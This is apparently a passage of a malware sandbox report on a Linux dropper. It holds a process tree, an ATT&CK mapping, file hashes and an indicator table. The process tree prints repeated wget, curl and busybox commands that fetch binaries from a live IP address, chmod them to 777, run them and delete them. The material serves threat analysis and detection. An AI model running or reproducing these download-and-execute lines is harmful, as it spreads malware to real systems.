- /tmp/EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  ./EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  2⤵
  - Executes dropped EXE
  PID:968
- /bin/rm
  rm EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  2⤵
  PID:969
- /usr/bin/wget
  wget http://87.120.84.230/bins/VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  2⤵
  PID:970
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:971
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  2⤵
  PID:972
- /bin/chmod
  chmod 777 VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  2⤵
  - File and Directory Permissions Modification
  PID:973
- /tmp/VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  ./VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  2⤵
  - Executes dropped EXE
  PID:974
- /bin/rm
  rm VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  2⤵
  PID:975
- /usr/bin/wget
  wget http://87.120.84.230/bins/Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  2⤵
  PID:976
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:977
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  2⤵
  PID:978
- /bin/chmod
  chmod 777 Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  2⤵
  - File and Directory Permissions Modification
  PID:979
- /tmp/Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  ./Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  2⤵
  - Executes dropped EXE
  PID:980
- /bin/rm
  rm Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  2⤵
  PID:981
- /usr/bin/wget
  wget http://87.120.84.230/bins/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  2⤵
  PID:982
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:983
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  2⤵
  PID:984
- /bin/chmod
  chmod 777 2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  2⤵
  - File and Directory Permissions Modification
  PID:985
- /tmp/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  ./2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  2⤵
  - Executes dropped EXE
  PID:986
- /bin/rm
  rm 2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  2⤵
  PID:987

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN

Path /tmp/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN	746	2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
/tmp/UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC	752	UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
/tmp/5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ	776	5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
/tmp/uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5	807	uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
/tmp/8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5	815	8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
/tmp/wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa	821	wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
/tmp/3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh	841	3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
/tmp/aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt	866	aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
/tmp/EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l	872	EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
/tmp/VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V	878	VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
/tmp/Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj	884	Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
/tmp/YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl	890	YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
/tmp/hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL	896	hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
/tmp/8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz	902	8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz
/tmp/8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5	908	8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
/tmp/wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa	914	wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
/tmp/UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC	920	UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
/tmp/5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ	926	5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
/tmp/uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5	932	uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
/tmp/3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh	938	3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
/tmp/aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt	944	aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
/tmp/YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl	950	YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
/tmp/hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL	956	hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
/tmp/8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz	962	8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz
/tmp/EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l	968	EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
/tmp/VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V	974	VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
/tmp/Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj	980	Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
/tmp/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN	986	2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN